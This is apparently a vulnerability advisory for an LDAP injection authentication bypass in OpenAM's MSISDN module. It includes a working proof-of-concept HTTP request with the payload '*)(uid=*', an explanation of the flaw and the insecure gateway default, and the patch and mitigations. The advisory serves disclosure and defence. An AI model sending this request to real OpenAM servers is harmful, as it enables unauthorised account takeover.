CVE-2026-46619: OpenAM MSISDN Authentication Bypass via LDAP Injection
A missing LDAP filter escape in OpenAM's MSISDN authentication module lets an unauthenticated attacker inject LDAP metacharacters and obtain a valid session as any directory user, no password required
The problem
The MSISDN authentication module looks up a caller-supplied phone number in LDAP to identify the matching user and issue a session. The raw value was concatenated directly into an LDAP search filter with no sanitization, making it trivially injectable.
Compounding this, the trusted-gateway list (which gates access to the module) defaults to allowing all source IPs. Together, the two flaws mean any remote attacker can reach the injection point and claim a session as an arbitrary user on any realm where an MSISDN chain is active.
Proof of concept
POST /openam/json/realms/root/authenticate?authIndexType=module&authIndexValue=MSISDN HTTP/1.1
Host: target.example.com
Content-Type: application/json
X-OpenAM-Username: *
Accept-API-Version: resource=2.0
{
"authId": "<valid-auth-tree-id>",
"callbacks": [
{
"type": "NameCallback",
"output": [{"name": "prompt", "value": "MSISDN"}],
"input": [{"name": "IDToken1", "value": "*)(uid=*"}]
}
]
}The MSISDN module builds a filter of the form (sunIdentityMSISDNNumber=<INPUT>) and executes it against the configured LDAP server. Supplying *)( uid=* closes the value assertion early, appends a universally-true clause, and leaves the filter structurally valid, so the directory returns the first matching entry and OpenAM issues a full session for that user.
The second CWE (insecure default initialization) is the trusted-gateway list shipping as allow-all. Without an explicit IP allowlist, every request passes the gateway check, removing the only access control in front of the injection point.
The patch applies LDAP assertion-value escaping (equivalent to Filter.escapeAssertionValue() used in the CVE-2021-29156 fix elsewhere in the codebase) to the MSISDN input before filter construction, and changes the trusted-gateway default to deny-by-default so the module is not reachable unless an operator explicitly trusts a source.
The fix
Upgrade to OpenAM Community Edition 16.1.1. If an immediate upgrade is not possible, disable any MSISDN authentication module instances or restrict the trusted-gateway list to known carrier gateway IP ranges so the injection point is not reachable from arbitrary sources.